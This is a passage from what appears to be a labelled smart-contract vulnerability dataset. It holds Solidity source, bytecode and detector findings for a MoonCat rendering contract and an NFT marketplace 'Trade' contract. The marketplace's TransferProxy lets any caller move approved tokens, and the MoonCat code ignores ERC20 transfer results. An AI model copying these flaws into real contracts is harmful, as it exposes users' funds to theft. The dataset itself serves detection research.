IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148).claim(msg.sender); MoonCatReference = IMoonCatReference(MoonCatReferenceAddress); MoonCatTraits = IMoonCatTraits(MoonCatTraitsAddress); MoonCatColors = IMoonCatColors(MoonCatColorsAddress); } address payable public owner; modifier onlyOwner () { require(msg.sender == owner, "Only Owner"); _; } /** * @dev Allow current `owner` to transfer ownership to another address. */ function transferOwnership (address payable newOwner) public onlyOwner { owner = newOwner; } /** * @dev Update the location of the Reference Contract. */ function setReferenceContract (address referenceContract) public onlyOwner { MoonCatReference = IMoonCatReference(referenceContract); } /** * @dev Rescue ERC20 assets sent directly to this contract. */ function withdrawForeignERC20 (address tokenContract) public onlyOwner { IERC20 token = IERC20(tokenContract); token.transfer(owner, token.balanceOf(address(this))); } /** * @dev Rescue ERC721 assets sent directly to this contract. */ function withdrawForeignERC721 (address tokenContract, uint256 tokenId) public onlyOwner { IERC721(tokenContract).safeTransferFrom(address(this), owner, tokenId); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806399eb29a7116100f9578063d060756211610097578063df111b1311610071578063df111b1314610393578063f2fde38b146103a6578063f550605f146103b9578063f76f950e146103cc576101a9565b8063d06075621461034a578063d331f04b1461035d578063dde3939914610370576101a9565b8063a5080324116100d3578063a508032414610309578063b2f149821461031c578063c1bc208814610324578063c790db2114610337576101a9565b806399eb29a7146102d05780639da9cd04146102e3578063a1c89993146102f6576101a9565b80635c471995116101665780637a0a3ac5116101405780637a0a3ac51461027e5780637ccb8b151461029557806381d24e89146102a85780638da5cb5b146102bb576101a9565b80635c471995146102455780636225def3146102585780637637cea91461026b576101a9565b8063034dcc9b146101ae57806305ca50ff146101d75780630ce06b68146101ea57806328317b75146101ff5780633cf8a6971461021f5780634346cade14610232575b600080fd5b6101c16101bc366004611d27565b6103df565b6040516101ce91906125d8565b60405180910390f35b6101c16101e5366004611d27565b610409565b6101fd6101f836600461198a565b61043d565b005b61021261020d366004611bc5565b6104da565b6040516101ce9190612527565b6101fd61022d366004611952565b61067f565b610212610240366004611d27565b6106cb565b6101fd610253366004611952565b61076b565b610212610266366004611d57565b610897565b610212610279366004611d27565b610949565b610286610959565b6040516101ce9392919061253a565b6102126102a3366004611da8565b6109ed565b6101c16102b6366004611d27565b610a7a565b6102c3610a8a565b6040516101ce91906124c1565b6102126102de366004611b8d565b610a99565b6102126102f1366004611d7b565b610b3e565b6101c1610304366004611d27565b610cd5565b610212610317366004611d27565b610ce5565b610212610cf5565b610212610332366004611c30565b610d11565b610212610345366004611a26565b610d4b565b610212610358366004611d27565b610e85565b6101c161036b366004611d27565b610f2a565b61038361037e366004611d7b565b610f3b565b6040516101ce94939291906125e6565b6102126103a1366004611bfd565b6110de565b6101fd6103b4366004611952565b611107565b6102126103c7366004611dd8565b611153565b6102126103da366004611d27565b6116d7565b600581601081106103ef57600080fd5b60209182820401919006915054906101000a900460ff1681565b6012818154811061041957600080fd5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6031546001600160a01b031633146104705760405162461bcd60e51b8152600401610467906125ab565b60405180910390fd5b603154604051632142170760e11b81526001600160a01b03808516926342842e0e926104a4923092169086906004016124ee565b600060405180830381600087803b1580156104be57600080fd5b505af11580156104d2573d6000803e3d6000fd5b505050505050565b6002546040516359ec794160e11b81526060916000918291829182916001600160a01b03169063b3d8f28290610514908a90600401612512565b60c06040518083038186803b15801561052c57600080fd5b505afa158015610540573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105649190611b07565b600354604051636dcc82eb60e11b8152949a509298509096509450600093506001600160a01b0316915063db9905d6906105a2908b90600401612512565b6103006040518083038186803b1580156105bb57600080fd5b505afa1580156105cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f391906119b5565b905060006106048686858786611153565b90508715610628578151602083015160408401516106259284929091610d11565b90505b6000806000806106388a88610f3b565b935093509350935061064c848484846109ed565b8560405160200161065e929190612044565b6040516020818303038152906040529a505050505050505050505092915050565b6031546001600160a01b031633146106a95760405162461bcd60e51b8152600401610467906125ab565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600a81600481106106db57600080fd5b0180549091506106ea906127b4565b80601f0160208091040260200160405190810160405280929190818152602001828054610716906127b4565b80156107635780601f1061073857610100808354040283529160200191610763565b820191906000526020600020905b81548152906001019060200180831161074657829003601f168201915b505050505081565b6031546001600160a01b031633146107955760405162461bcd60e51b8152600401610467906125ab565b6031546040516370a0823160e01b815282916001600160a01b038084169263a9059cbb929091169083906370a08231906107d39030906004016124c1565b60206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108239190611d3f565b6040518363ffffffff1660e01b81526004016108409291906124d5565b602060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108929190611aeb565b505050565b606061636083106108ba5760405162461bcd60e51b81526004016104679061257d565b600054604051630869624160e31b8152610942916001600160a01b03169063434b1208906108ec9087906004016125cf565b60206040518083038186803b15801561090457600080fd5b505afa158015610918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c9190611ba9565b836104da565b9392505050565b600e81600481106106db57600080fd5b600154604051630c5c275960e21b8152606091829182916001600160a01b0316906331709d649061098e9030906004016124c1565b60006040518083038186803b1580156109a657600080fd5b505afa1580156109ba573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109e29190810190611ca3565b925092509250909192565b60606109fb8560ff166116d7565b610a078560ff166116d7565b610a138560ff166116d7565b610a1f8560ff166116d7565b610a3b610a3060ff891660056126f5565b63ffffffff166116d7565b610a4c610a3060ff891660056126f5565b604051602001610a6196959493929190612301565b6040516020818303038152906040529050949350505050565b6013818154811061041957600080fd5b6031546001600160a01b031681565b60048054600054604051633894ca5760e01b8152606093610b369386936001600160a01b0391821693911691633894ca5791610ad791869101612512565b60206040518083038186803b158015610aef57600080fd5b505afa158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b27919061196e565b6001600160a01b0316146104da565b90505b919050565b60608060ff83161561094257610b55600184612761565b92506000610b6b856103fc600287901b1661269d565b60ff169050600660005b82811015610bd2576015816103728110610b9f57634e487b7160e01b600052603260045260246000fd5b602081049190910154610bbe91601f166101000a900460ff1683612685565b915080610bca816127ef565b915050610b75565b5060006015836103728110610bf757634e487b7160e01b600052603260045260246000fd5b602081049190910154610c1691601f166101000a900460ff1683612685565b9050815b81811015610cca576000610c2f8260026126d6565b9050610cb4866015836103728110610c5757634e487b7160e01b600052603260045260246000fd5b602081049091015460ff601f9092166101000a9004166015610c7a856001612685565b6103728110610c9957634e487b7160e01b600052603260045260246000fd5b602081049091015460ff601f9092166101000a9004166117fa565b9550508080610cc2906127ef565b915050610c1a565b505050509392505050565b6014818154811061041957600080fd5b600681600481106106db57600080fd5b6040518060e0016040528060a781526020016128ac60a7913981565b6060610d1f8460ff166116d7565b610d2b8460ff166116d7565b610d378460ff166116d7565b87604051602001610a619493929190612231565b606080600260005b8460ff16811015610da857858181518110610d7e57634e487b7160e01b600052603260045260246000fd5b602002602001015160ff1682610d949190612685565b915080610da0816127ef565b915050610d53565b506000858560ff1681518110610dce57634e487b7160e01b600052603260045260246000fd5b602002602001015160ff1682610de49190612685565b9050815b81811015610e7a576000610dfd8260026126d6565b9050610e6485898381518110610e2357634e487b7160e01b600052603260045260246000fd5b60200260200101518a846001610e399190612685565b81518110610e5757634e487b7160e01b600052603260045260246000fd5b60200260200101516117fa565b9450508080610e72906127ef565b915050610de8565b509195945050505050565b60606163608210610ea85760405162461bcd60e51b81526004016104679061257d565b600054604051630869624160e31b8152610b36916001600160a01b03169063434b120890610eda9086906004016125cf565b60206040518083038186803b158015610ef257600080fd5b505afa158015610f06573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102de9190611ba9565b60158161037281106103ef57600080fd5b600080808060026005610f4f876004612721565b610f5a90600061269d565b60ff1660108110610f7b57634e487b7160e01b600052603260045260246000fd5b602091828204019190069054906101000a900460ff16610f9b9190612761565b935060026005610fac876004612721565b610fb790600161269d565b60ff1660108110610fd857634e487b7160e01b600052603260045260246000fd5b602091828204019190069054906101000a900460ff16610ff89190612761565b92506005611007866004612721565b61101290600261269d565b60ff166010811061103357634e487b7160e01b600052603260045260246000fd5b60208104919091015461105391601f166101000a900460ff16600461269d565b91506005611062866004612721565b61106d90600361269d565b60ff166010811061108e57634e487b7160e01b600052603260045260246000fd5b6020810491909101546110ae91601f166101000a900460ff16600461269d565b90508560ff16600114156110d557836110c8836080612761565b6110d29190612761565b93505b92959194509250565b6060816040516020016110f19190612111565b6040516020818303038152906040529050919050565b6031546001600160a01b031633146111315760405162461bcd60e51b8152600401610467906125ab565b603180546001600160a01b0319166001600160a01b0392909216919091179055565b6060600061124160068660ff166004811061117e57634e487b7160e01b600052603260045260246000fd5b01805461118a906127b4565b80601f01602080910402602001604051908101604052809291908181526020018280546111b6906127b4565b80156112035780601f106111d857610100808354040283529160200191611203565b820191906000526020600020905b8154815290600101906020018083116111e657829003601f168201915b50505050508460036018811061122957634e487b7160e01b600052603260045260246000fd5b602002015160808601518660055b602002015161183f565b905060006112756040518060e0016040528060a781526020016128ac60a7913961012086015161014087015187600b611237565b9050600061135e600a8860ff16600481106112a057634e487b7160e01b600052603260045260246000fd5b0180546112ac906127b4565b80601f01602080910402602001604051908101604052809291908181526020018280546112d8906127b4565b80156113255780601f106112fa57610100808354040283529160200191611325565b820191906000526020600020905b81548152906001019060200180831161130857829003601f168201915b50505050508660096018811061134b57634e487b7160e01b600052603260045260246000fd5b602002015161014088015188600b611237565b905060006113f76113dd60148054806020026020016040519081016040528092919081815260200182805480156113d257602002820191906000526020600020906000905b825461010083900a900460ff168152602060019283018181049485019490930390920291018084116113a35790505b50505050508a610d4b565b6101e08801516102008901518960115b6020020151611879565b905060006114e0600e8a60ff166004811061142257634e487b7160e01b600052603260045260246000fd5b01805461142e906127b4565b80601f016020809104026020016040519081016040528092919081815260200182805461145a906127b4565b80156114a75780601f1061147c576101008083540402835291602001916114a7565b820191906000526020600020905b81548152906001019060200180831161148a57829003601f168201915b505050505088600c601881106114cd57634e487b7160e01b600052603260045260246000fd5b60200201516101a08a01518a600e611237565b905060006115036114f18b8b610b3e565b60c08a015160e08b01518b60086113ed565b90506000611596611582601380548060200260200160405190810160405280929190818152602001828054801561157757602002820191906000526020600020906000905b825461010083900a900460ff168152602060019283018181049485019490930390920291018084116115485790505b50505050508e610d4b565b6101808b01516101a08c01518c600e6113ed565b90506000611628611616601280548060200260200160405190810160405280929190818152602001828054801561160a57602002820191906000526020600020906000905b825461010083900a900460ff168152602060019283018181049485019490930390920291018084116115db5790505b50505050506000610d4b565b60608c015160808d01518d60056113ed565b905060608b60ff166002141561166d578888888888878988604051602001611657989796959493929190611f9f565b604051602081830303815290604052905061169e565b888888888888888860405160200161168c989796959493929190611f9f565b60405160208183030381529060405290505b8e60ff16600114156116c3576116b3816110de565b99505050505050505050506116ce565b985050505050505050505b95945050505050565b6060816116fc57506040805180820190915260018152600360fc1b6020820152610b39565b8160005b81156117265780611710816127ef565b915061171f9050600a836126c2565b9150611700565b60008167ffffffffffffffff81111561174f57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611779576020820181803683370190505b5090505b84156117f25761178e60018361274a565b915061179b600a8661280a565b6117a6906030612685565b60f81b8183815181106117c957634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506117eb600a866126c2565b945061177d565b949350505050565b6060836118098460ff166116d7565b6118158460ff166116d7565b60405160200161182793929190612084565b60405160208183030381529060405290509392505050565b60608461184e8560ff166116d7565b61185a8560ff166116d7565b6118668560ff166116d7565b604051602001610a61949392919061217a565b60606118878460ff166116d7565b6118938460ff166116d7565b61189f8460ff166116d7565b87604051602001610a619493929190612417565b600082601f8301126118c3578081fd5b81356118d66118d18261265d565b61260b565b8181528460208386010111156118ea578283fd5b816020850160208301379081016020019190915292915050565b600082601f830112611914578081fd5b81516119226118d18261265d565b818152846020838601011115611936578283fd5b6117f2826020830160208701612784565b8035610b398161289c565b600060208284031215611963578081fd5b813561094281612860565b60006020828403121561197f578081fd5b815161094281612860565b6000806040838503121561199c578081fd5b82356119a781612860565b946020939093013593505050565b60006103008083850312156119c8578182fd5b83601f8401126119d6578182fd5b6119df8161260b565b80848684870111156119ef578485fd5b8493505b6018841015611a1c578051611a078161289c565b835260019390930192602092830192016119f3565b5095945050505050565b60008060408385031215611a38578081fd5b823567ffffffffffffffff80821115611a4f578283fd5b818501915085601f830112611a62578283fd5b8135602082821115611a7657611a7661284a565b8082029250611a8681840161260b565b8281528181019085830185870184018b1015611aa0578788fd5b8796505b84871015611ace5780359550611ab98661289c565b85835260019690960195918301918301611aa4565b509650611ade9050878201611947565b9450505050509250929050565b600060208284031215611afc578081fd5b815161094281612878565b60008060008060008060c08789031215611b1f578182fd5b8651611b2a81612878565b6020880151909650611b3b81612878565b6040880151909550611b4c8161289c565b6060880151909450611b5d8161289c565b6080880151909350611b6e8161289c565b60a0880151909250611b7f8161289c565b809150509295509295509295565b600060208284031215611b9e578081fd5b813561094281612886565b600060208284031215611bba578081fd5b815161094281612886565b60008060408385031215611bd7578182fd5b8235611be281612886565b91506020830135611bf281612878565b809150509250929050565b600060208284031215611c0e578081fd5b813567ffffffffffffffff811115611c24578182fd5b6117f2848285016118b3565b60008060008060808587031215611c45578182fd5b843567ffffffffffffffff811115611c5b578283fd5b611c67878288016118b3565b9450506020850135611c788161289c565b92506040850135611c888161289c565b91506060850135611c988161289c565b939692955090935050565b600080600060608486031215611cb7578081fd5b835167ffffffffffffffff80821115611cce578283fd5b611cda87838801611904565b94506020860151915080821115611cef578283fd5b611cfb87838801611904565b93506040860151915080821115611d10578283fd5b50611d1d86828701611904565b9150509250925092565b600060208284031215611d38578081fd5b5035919050565b600060208284031215611d50578081fd5b5051919050565b60008060408385031215611d69578182fd5b823591506020830135611bf281612878565b60008060408385031215611d8d578182fd5b8235611d988161289c565b91506020830135611bf28161289c565b60008060008060808587031215611dbd578182fd5b8435611dc88161289c565b93506020850135611c788161289c565b6000806000806000610380808789031215611df1578384fd5b8635611dfc8161289c565b9550602087810135611e0d8161289c565b95506040880135611e1d8161289c565b94506060880135611e2d8161289c565b9350609f88018913611e3d578283fd5b6018611e4b6118d18261263c565b8060808b018c868d011115611e5e578687fd5b8695505b83861015611e89578035611e758161289c565b835260019590950194918401918401611e62565b5080955050505050509295509295909350565b60008151808452611eb4816020860160208601612784565b601f01601f19169290920160200192915050565b60008151611eda818560208601612784565b9290920192915050565b6911103432b4b3b43a1e9160b11b8152600a0190565b7f222073686170652d72656e646572696e673d226372697370456467657322207381527f74796c653d22696d6167652d72656e646572696e673a706978656c617465642260208201527f3e3c646566733e3c726563742069643d2272222077696474683d22322220686560408201527134b3b43a1e91191110179f1e17b232b3399f60711b606082015260720190565b6811103bb4b23a341e9160b91b815260090190565b600089516020611fb28285838f01612784565b8a5191840191611fc58184848f01612784565b8a51920191611fd78184848e01612784565b8951920191611fe98184848d01612784565b8851920191611ffb8184848c01612784565b875192019161200d8184848b01612784565b865192019161201f8184848a01612784565b85519201916120318184848901612784565b919091019b9a5050505050505050505050565b60008351612056818460208801612784565b83519083019061206a818360208801612784565b651e17b9bb339f60d11b9101908152600601949350505050565b60008451612096818460208901612784565b6c1e3ab9b290343932b31e9111b960991b9083019081526411103c1e9160d91b600d82015284516120ce816012840160208901612784565b6411103c9e9160d91b6012929091019182015283516120f4816017840160208801612784565b6211179f60e91b60179290910191820152601a0195945050505050565b60007f3c67207472616e73666f726d3d227363616c65282d312c3129207472616e736c82526c30ba32941698991c161814911f60991b6020830152825161215f81602d850160208701612784565b631e17b39f60e11b602d939091019283015250603101919050565b701e3837b63cb3b7b7103837b4b73a399e9160791b815284516000906121a7816011850160208a01612784565b6b04440ccd2d8d87a44e4cec4560a31b60119184019182015285516121d381601d840160208a01612784565b808201915050600b60fa1b80601d83015285516121f781601e850160208a01612784565b601e920191820152835161221281601f840160208801612784565b631491179f60e11b601f92909101918201526023019695505050505050565b60007f3c67207374796c653d2266696c7465723a64726f702d736861646f772830707882526c04060e0f04064e0f040e4cec45609b1b6020830152855161227f81602d850160208a01612784565b8083019050600b60fa1b80602d83015286516122a281602e850160208b01612784565b602e92019182015284516122bd81602f840160208901612784565b631494911f60e11b602f929091019182015283516122e2816033840160208801612784565b631e17b39f60e11b603392909101918201526037019695505050505050565b60007f3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323082527f30302f73766722207072657365727665417370656374526174696f3d22784d69602083015275322ca6b4b21039b634b1b291103b34b2bba137bc1e9160511b6040830152875161237e816056850160208c01612784565b8083019050600160fd1b80605683015288516123a1816057850160208d01612784565b6057920191820181905287516123be816058850160208c01612784565b605892019182015285516123d9816059840160208a01612784565b6124096124046123fe6123f96123f3605986880101611f8a565b8a611ec8565b611ee4565b87611ec8565b611efa565b9a9950505050505050505050565b6c078ce40ccd2d8d87a44e4cec45609b1b8152845160009061244081600d850160208a01612784565b8083019050600b60fa1b80600d830152865161246381600e850160208b01612784565b600e920191820152845161247e81600f840160208901612784565b6214911f60e91b600f929091019182015283516124a2816012840160208801612784565b631e17b39f60e11b601292909101918201526016019695505050505050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160d81b031991909116815260200190565b6000602082526109426020830184611e9c565b60006060825261254d6060830186611e9c565b828103602084015261255f8186611e9c565b905082810360408401526125738185611e9c565b9695505050505050565b60208082526014908201527324b73b30b634b2102932b9b1bab29027b93232b960611b604082015260600190565b6020808252600a908201526927b7363c9027bbb732b960b11b604082015260600190565b90815260200190565b60ff91909116815260200190565b60ff948516815292841660208401529083166040830152909116606082015260800190565b604051601f8201601f1916810167ffffffffffffffff811182821017156126345761263461284a565b604052919050565b600067ffffffffffffffff8211156126565761265661284a565b5060200290565b600067ffffffffffffffff8211156126775761267761284a565b50601f01601f191660200190565b600082198211156126985761269861281e565b500190565b600060ff821660ff84168060ff038211156126ba576126ba61281e565b019392505050565b6000826126d1576126d1612834565b500490565b60008160001904831182151516156126f0576126f061281e565b500290565b600063ffffffff808316818516818304811182151516156127185761271861281e565b02949350505050565b600060ff821660ff84168160ff04811182151516156127425761274261281e565b029392505050565b60008282101561275c5761275c61281e565b500390565b600060ff821660ff84168082101561277b5761277b61281e565b90039392505050565b60005b8381101561279f578181015183820152602001612787565b838111156127ae576000848401525b50505050565b6002810460018216806127c857607f821691505b602082108114156127e957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156128035761280361281e565b5060010190565b60008261281957612819612834565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461287557600080fd5b50565b801515811461287557600080fd5b6001600160d81b03198116811461287557600080fd5b60ff8116811461287557600080fdfe35372035312c35392035312c35392035332c36312035332c36312035352c36372035352c36372035332c36392035332c36392035312c37312035312c37312035332c36392035332c36392035352c37312035352c37312035372c37332035372c37332036372c37312036372c37312036392c35372036392c35372036372c35352036372c35352035372c35372035372c35372035352c35392035352c35392035332c3537203533a26469706673582212209fb0893cd9ecc5bcf8efae6ee4fff9d8b8f67516b1b780528edf123cac85e16e64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,231
0xbeb4b8ecb5cade935516848a809add1332622e3b
// SPDX-License-Identifier:UNLICENSED pragma solidity ^0.8.4; interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { function royaltyFee(uint256 tokenId) external view returns(uint256); function getCreator(uint256 tokenId) external view returns(address); /** * @dev Returns the owner of the NFT specified by `tokenId`. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Transfers a specific NFT (`tokenId`) from one account (`from`) to * another (`to`). * * * * Requirements: * - `from`, `to` cannot be zero. * - `tokenId` must be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this * NFT by either {approve} or {setApprovalForAll}. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; } interface IERC1155 is IERC165 { /** @notice Transfers `_value` amount of an `_id` from the `_from` address to the `_to` address specified (with safety call). @dev Caller must be approved to manage the tokens being transferred out of the `_from` account (see "Approval" section of the standard). MUST revert if `_to` is the zero address. MUST revert if balance of holder for token `_id` is lower than the `_value` sent. MUST revert on any other error. MUST emit the `TransferSingle` event to reflect the balance change (see "Safe Transfer Rules" section of the standard). After the above conditions are met, this function MUST check if `_to` is a smart contract (e.g. code size > 0). If so, it MUST call `onERC1155Received` on `_to` and act appropriately (see "Safe Transfer Rules" section of the standard). @param _from Source address @param _to Target address @param _id ID of the token type @param _value Transfer amount @param _data Additional data with no specified format, MUST be sent unaltered in call to `onERC1155Received` on `_to` */ function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _value, bytes calldata _data) external; function royaltyFee(uint256 tokenId) external view returns(uint256); function getCreator(uint256 tokenId) external view returns(address); } /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract TransferProxy { function erc721safeTransferFrom(IERC721 token, address from, address to, uint256 tokenId) external { token.safeTransferFrom(from, to, tokenId); } function erc1155safeTransferFrom(IERC1155 token, address from, address to, uint256 id, uint256 value, bytes calldata data) external { token.safeTransferFrom(from, to, id, value, data); } function erc20safeTransferFrom(IERC20 token, address from, address to, uint256 value) external { require(token.transferFrom(from, to, value), "failure while transferring"); } } contract Trade { enum BuyingAssetType {ERC1155, ERC721} event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event SellerFee(uint8 sellerFee); event BuyerFee(uint8 buyerFee); event BuyAsset(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer); event ExecuteBid(address indexed assetOwner , uint256 indexed tokenId, uint256 quantity, address indexed buyer); uint8 private buyerFeePermille; uint8 private sellerFeePermille; TransferProxy public transferProxy; address public owner; mapping(uint256 => bool) private usedNonce; struct Fee { uint platformFee; uint assetFee; uint royaltyFee; uint price; address tokenCreator; } /* An ECDSA signature. */ struct Sign { uint8 v; bytes32 r; bytes32 s; uint256 nonce; } struct Order { address seller; address buyer; address erc20Address; address nftAddress; BuyingAssetType nftType; uint unitPrice; uint amount; uint tokenId; uint qty; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } constructor (uint8 _buyerFee, uint8 _sellerFee, TransferProxy _transferProxy) { buyerFeePermille = _buyerFee; sellerFeePermille = _sellerFee; transferProxy = _transferProxy; owner = msg.sender; } function buyerServiceFee() external view virtual returns (uint8) { return buyerFeePermille; } function sellerServiceFee() external view virtual returns (uint8) { return sellerFeePermille; } function setBuyerServiceFee(uint8 _buyerFee) external onlyOwner returns(bool) { buyerFeePermille = _buyerFee; emit BuyerFee(buyerFeePermille); return true; } function setSellerServiceFee(uint8 _sellerFee) external onlyOwner returns(bool) { sellerFeePermille = _sellerFee; emit SellerFee(sellerFeePermille); return true; } function transferOwnership(address newOwner) external onlyOwner returns(bool){ require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, newOwner); owner = newOwner; return true; } function getSigner(bytes32 hash, Sign memory sign) internal pure returns(address) { return ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), sign.v, sign.r, sign.s); } function verifySellerSign(address seller, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, Sign memory sign) internal pure { bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount, sign.nonce)); require(seller == getSigner(hash, sign), "seller sign verification failed"); } function verifyBuyerSign(address buyer, uint256 tokenId, uint amount, address paymentAssetAddress, address assetAddress, uint qty, Sign memory sign) internal pure { bytes32 hash = keccak256(abi.encodePacked(assetAddress, tokenId, paymentAssetAddress, amount,qty, sign.nonce)); require(buyer == getSigner(hash, sign), "buyer sign verification failed"); } function getFees(uint paymentAmt, BuyingAssetType buyingAssetType, address buyingAssetAddress, uint tokenId) internal view returns(Fee memory){ address tokenCreator; uint platformFee; uint royaltyFee; uint assetFee; uint royaltyPermille; uint price = paymentAmt * 1000 / (1000 + buyerFeePermille); uint buyerFee = paymentAmt - price; uint sellerFee = price * sellerFeePermille / 1000; platformFee = buyerFee + sellerFee; if(buyingAssetType == BuyingAssetType.ERC721) { royaltyPermille = ((IERC721(buyingAssetAddress).royaltyFee(tokenId))); tokenCreator = ((IERC721(buyingAssetAddress).getCreator(tokenId))); } if(buyingAssetType == BuyingAssetType.ERC1155) { royaltyPermille = ((IERC1155(buyingAssetAddress).royaltyFee(tokenId))); tokenCreator = ((IERC1155(buyingAssetAddress).getCreator(tokenId))); } royaltyFee = price * royaltyPermille / 1000; assetFee = price - royaltyFee - sellerFee; return Fee(platformFee, assetFee, royaltyFee, price, tokenCreator); } function tradeAsset(Order calldata order, Fee memory fee, address buyer, address seller) internal virtual { if(order.nftType == BuyingAssetType.ERC721) { transferProxy.erc721safeTransferFrom(IERC721(order.nftAddress), seller, buyer, order.tokenId); } if(order.nftType == BuyingAssetType.ERC1155) { transferProxy.erc1155safeTransferFrom(IERC1155(order.nftAddress), seller, buyer, order.tokenId, order.qty, ""); } if(fee.platformFee > 0) { transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, owner, fee.platformFee); } if(fee.royaltyFee > 0) { transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, fee.tokenCreator, fee.royaltyFee); } transferProxy.erc20safeTransferFrom(IERC20(order.erc20Address), buyer, seller, fee.assetFee); } function buyAsset(Order calldata order, Sign calldata sign) external returns(bool) { require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce"); usedNonce[sign.nonce] = true; Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId); require((fee.price >= order.unitPrice * order.qty), "Paid invalid amount"); verifySellerSign(order.seller, order.tokenId, order.unitPrice, order.erc20Address, order.nftAddress, sign); address buyer = msg.sender; tradeAsset(order, fee, buyer, order.seller); emit BuyAsset(order.seller, order.tokenId, order.qty, msg.sender); return true; } function executeBid(Order calldata order, Sign calldata sign) external returns(bool) { require(!usedNonce[sign.nonce],"Nonce : Invalid Nonce"); usedNonce[sign.nonce] = true; Fee memory fee = getFees(order.amount, order.nftType, order.nftAddress, order.tokenId); verifyBuyerSign(order.buyer, order.tokenId, order.amount, order.erc20Address, order.nftAddress, order.qty, sign); address seller = msg.sender; tradeAsset(order, fee, order.buyer, seller); emit ExecuteBid(msg.sender , order.tokenId, order.qty, order.buyer); return true; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c80639c66809d116100665780639c66809d14610122578063a3667c7b1461012d578063a96b446d14610140578063e90f93e914610153578063f2fde38b1461016657600080fd5b806326981e2d1461009857806360085da6146100c05780636e667db3146100de5780638da5cb5b1461010f575b600080fd5b6100ab6100a636600461100b565b610179565b60405190151581526020015b60405180910390f35b600054610100900460ff165b60405160ff90911681526020016100b7565b6000546100f7906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016100b7565b6001546100f7906001600160a01b031681565b60005460ff166100cc565b6100ab61013b3660046110dd565b610354565b6100ab61014e3660046110dd565b6103db565b6100ab61016136600461100b565b61044a565b6100ab610174366004610fad565b6105af565b606081013560009081526002602052604081205460ff16156101da5760405162461bcd60e51b81526020600482015260156024820152744e6f6e6365203a20496e76616c6964204e6f6e636560581b60448201526064015b60405180910390fd5b60608201356000908152600260205260408120805460ff1916600117905561022a60c085013561021060a0870160808801610fec565b6102206080880160608901610fad565b8760e0013561069e565b905061023f61010085013560a08601356111b4565b816060015110156102885760405162461bcd60e51b815260206004820152601360248201527214185a59081a5b9d985b1a5908185b5bdd5b9d606a1b60448201526064016101d1565b6102d66102986020860186610fad565b60e086013560a08701356102b26060890160408a01610fad565b6102c260808a0160608b01610fad565b6102d1368a90038a018a61104f565b6109fc565b336102ef8583836102ea6020840184610fad565b610acd565b3360e08601356103026020880188610fad565b6001600160a01b03167fb10197cef009fd301a90b892d25451c22c3701eb18ee2df1250d31e514fff39488610100013560405161034191815260200190565b60405180910390a4506001949350505050565b6001546000906001600160a01b031633146103815760405162461bcd60e51b81526004016101d190611121565b6000805461ff00191661010060ff8581168202929092179283905560405192041681527f04e959c7352d9eda8a6d989e4fee25ff0bf44c87386b7259d8500343c4e9992e906020015b60405180910390a15060015b919050565b6001546000906001600160a01b031633146104085760405162461bcd60e51b81526004016101d190611121565b6000805460ff191660ff84169081179091556040519081527f1715ed10763088cbfba08a6ecfb6e5894eac73040cb1899d10d3f96ced2bd0ef906020016103ca565b606081013560009081526002602052604081205460ff16156104a65760405162461bcd60e51b81526020600482015260156024820152744e6f6e6365203a20496e76616c6964204e6f6e636560581b60448201526064016101d1565b60608201356000908152600260205260408120805460ff191660011790556104dc60c085013561021060a0870160808801610fe